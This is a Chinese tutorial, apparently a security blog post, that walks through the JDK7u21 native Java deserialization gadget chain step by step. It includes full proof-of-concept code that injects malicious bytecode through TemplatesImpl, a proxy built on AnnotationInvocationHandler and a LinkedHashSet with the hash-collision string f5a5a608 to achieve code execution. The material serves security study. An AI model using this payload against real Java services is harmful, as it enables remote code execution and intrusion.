【java安全】原生反序列化利用链JDK7u21-Toy模板网

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【java安全】原生反序列化利用链JDK7u21

前言

前面我们学习了使用第三方类：Common-Collections、Common-Beanutils进行反序列化利用。我们肯定会想，如果不利用第三方类库，能否进行反序列化利用链呢？这里还真有：JDK7u21。但是只适用于java 7u及以前的版本

在使用这条利用链时，需要设置jdk为jdk7u21

原理

JDK7u21这条链利用的核心其实就是AnnotationInvocationHandler，没错，就是我们之前学习过的那个类，位于：sun.reflect.annotation包下

equalsImpl()

我们看一下equalsImpl()、getMemberMethods方法：

private Boolean equalsImpl(Object var1) {  //传入var1
        ...
        } else {
            Method[] var2 = this.getMemberMethods();
            int var3 = var2.length;

            for(int var4 = 0; var4 < var3; ++var4) {
                Method var5 = var2[var4];  // var5是一个方法对象
                String var6 = var5.getName();
                Object var7 = this.memberValues.get(var6);
                Object var8 = null;
                AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
                if (var9 != null) {
                    var8 = var9.memberValues.get(var6);
                } else {
                    try {
                        var8 = var5.invoke(var1);  // 这里会调用var1这个对象的var5方法
                    } 
                    ...

            return true;
        }
    }

private transient volatile Method[] memberMethods = null;

private Method[] getMemberMethods() {
        if (this.memberMethods == null) {
            this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods(); //获得Method[]
                    AccessibleObject.setAccessible(var1, true);
                    return var1;
                }
            });
        }

        return this.memberMethods;
    }

equalsImpl()方法中明显会调用memberMethod.invoke(o) ，而memberMethod来自于this.type.getDeclaredMethods()

如果我们此时传入invoke()中的形参为TemplatesImpl对象，并且this.type是TemplatesImpl的字节码对象。

那么经过循环就会调用TemplatesImpl对象中的每个方法，就必然会调用newTransformer()或getOutputProperties()方法从而执行恶意字节码了

如何调用equalsImpl()？

那么在哪里会调用equalsImpl()方法呢？invoke()：

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
    
    	//当执行invoke()方法时传入的方法名字为equals并且形参只有一个，类型为Object就会执行 equalsImpl()
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);  
        } else {
            assert var5.length == 0;

            if (var4.equals("toString")) {
                return this.toStringImpl();
            } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            } else if (var4.equals("annotationType")) {
                return this.type;
            } else {
                Object var6 = this.memberValues.get(var4); //cc1
                ...
            }
        }
    }

我们之前cc1中是另this.memberValues等于一个LazyMap对象，让其调用get()方法，就可以执行cc1利用链了

但是这里我们不需要利用这里，我们需要注意这里：

//当执行invoke()方法时传入的方法名字为equals并且形参只有一个，类型为Object就会执行 equalsImpl()
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
	return this.equalsImpl(var3[0]);  
}

我们应该思考这里的invoke()方法如何被调用，并且刚好使形参的第二个为equals、第三个参数的类型为Object对象

我们之前学习过动态代理，当一个代理对象Proxy调用一个方法时，就会调用构造该代理对象时传入的InvocationHandler的invoke()方法，并且第二个参数为methodName方法名，invoke()第三个参数为调用方法时传入的参数

所以现在我们需要找到一个类，他在反序列化时，会间接的对Proxy对象调用equals()方法

HashSet通过反序列化间接执行equals()方法

HashSet可以做到这个效果，实现这个效果有一点复杂，我们先大致了解一下过程

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我们创建一个LinkedHashSet对象，当反序列化时会遍历每一个值，使用LinkedHashMap#put()方法，

put()方法中这几行是重点

int hash = hash(key);  //计算key的hash值
int i = indexFor(hash, table.length);  //这个i也是hash
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
	Object k;
 	if (e.hash == hash && ((k = e.key) == key || key.equals(k)))  //重点

这里会对key的hash与表中取出的e的hash做一个比较，如果这俩个hash相等，但是又不是同一个对象的化，就会执行key的equals()方法，传入参数k

这里我们假设key是Proxy代理对象，并且这里传入的k是一个TemplatesImpl恶意对象，那么就会执行AnnotationInvocationHandler的invoke()方法，从而执行equalsImpl()中的invoke()方法

最终调用了TemplatesImpl恶意对象的newTransformer()方法RCE

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我们怎么控制上面的key以及k=e.key呢？

其实我们上面已经分析了一下，这个key和k其实就是我们添加进入：LinkedHashSet中的元素而已

// 实例化HashSet，并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

我们应该先添加TemplatesImpl对象，再添加Proxy代理对象，这样才好触发key.equals(k)

如何使hash相等？

我们上面其实默认了一个前提，那就是e.hash == hash 。其实这两个默认肯定不相等，我们需要一些小操作使其相等

我们先来看看HashMap中的hash()方法：

final int hash(Object k) {
        ...
        h ^= k.hashCode();
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }

这里自始至终只用到了一个变量k.hashCode()，其他的都相等，我们想要Proxy和TemplateImpl的hash相等，其实只需要让k.hashCode()相等即可

TemplateImpl的 hashCode() 是一个Native方法，每次运行都会发生变化，我们理论上是无法预测的，所以想让proxy的 hashCode() 与之相等，只能寄希望于 proxy.hashCode()

当我们调用proxy.hashCode()时，就会调用创建改代理对象时传入的InvocationHandler对象的invoke()方法，我们继续看看invoke()：

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            }
            ...
        }
    }

可见，会继续调用invoke()中的hashCodeImpl()方法：

private int hashCodeImpl() {
        int var1 = 0;

        Map.Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Map.Entry)var2.next();
        }

        return var1;
    }

重点是下面这一句，var1是计算累加和的，如果this.memberValues是一个HashMap类型并且其中只有一个元素，那么函数的返回值就变成了这个了：

127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
即：
127 * key.hashCode() ^ value.hashCode()

我们想让Proxy和TemplateImpl的hash相等，并且TemplateImplhash不可控。

上述代码中如果我们令key.hashCode()=0，并且我们令value 等于TemplateImpl对象，那么这两个的hash就相等了，进而可以执行Proxy的equals()方法了

我们需要找到一个值的hashCode为0，是可以通过爆破来实现的：

public static void bruteHashCode()
{
    for (long i = 0; i < 9999999999L; i++) {
        if (Long.toHexString(i).hashCode() == 0) {
        	System.out.println(Long.toHexString(i));
		}
	}
}

跑出来第一个是 f5a5a608 ，这个也是ysoserial中用到的字符串

思路整理

讲完了这么多我们理清一下思路

先创建一个恶意TemplatesImpl对象：

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

为了使Proxy和TemplateImpl的hash相等，以便执行equals()，我们需要让AnnotationInvocationHandler的this.memberValues等于一个HashMap并且只有一个元素：key为f5a5a608，value为：TemplateImpl对象，这样由AnnotationInvocationHandler组成的代理对象proxy与TemplateImpl的hash就会相等

所以创建一个HashMap：

// 实例化一个map，并添加Magic Number为key，也就是f5a5a608，value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

实例化 AnnotationInvocationHandler 对象

它的type属性是一个TemplateImpl类

它的memberValues属性是一个Map，Map只有一个key和value，key是字符串 f5a5a608 ， value是前面生成的恶意TemplateImpl对象

实例化AnnotationInvocationHandler类，将map传参进去，经过构造函数设置为memberValues

由于equalImpl()方法会调用memberMethod.invoke(o)，这个memberMethod来自this.type.getDeclaredMethods()所以需要设置type为TemplatesImpl的字节码，这里构造函数会将第一个参数设为type

Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

在创建核心的LinkedHashSet之前，我们需要创建一个代理对象，将tempHandler给传进去

// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

然后实例化：HashSet：

// 实例化HashSet，并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates); 
set.add(proxy);

添加的先后顺序要注意一下，Proxy应该放在后面，这样才会调用Proxy#equals()

这样在反序列化触发rce的流程如下：

首先触发HashSet的readObject()方法，然后集合中的值会使用LinkedHasnMap的put(key,常数)方法进行key去重

去重时计算元素的hashcode，由于我们已经构造其相等，所以会触发Proxy#equals()方法

进而调用AnnotationInvocationHandler#invoke()-> AnnotationInvocationHandler#equalsImpl()方法

equalsImpl()会遍历type的每个方法并调用。

因为this.type是TemplatesImpl字节码对象，所以最终会触发newTransformer()造成RCE

POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class JDK7u21 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        // 实例化一个map，并添加Magic Number为key，也就是f5a5a608，value先随便设置一个值
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        // 实例化AnnotationInvocationHandler类
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        // 为tempHandler创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        // 实例化HashSet，并将两个对象放进去
        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        // 将恶意templates设置到map中
        map.put(zeroHashCodeStr, templates);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

Gadget

HashSet#readObject()
    LinkedHashMap#put(e, PRESENT)
    	Proxy#equals(k)
    		AnnotationInvocationHandler#invoke()
    			equalsImpl()
    				TemplatesImpl#newTransformer()
    					...
    					ClassLoader.defineClass()
    					...
    					Runtime.exec()

为什么在HashSet#add()前要将HashMap的value设为其他值？

我们追踪一下HashSet#add()方法，发现他也会调用HashMap#put()方法，这样就会导致Proxy提前触发equals()方法造成命令执行：

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我们测试一下：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class JDK7u21 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, templates);  //value再这里设为templates

        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}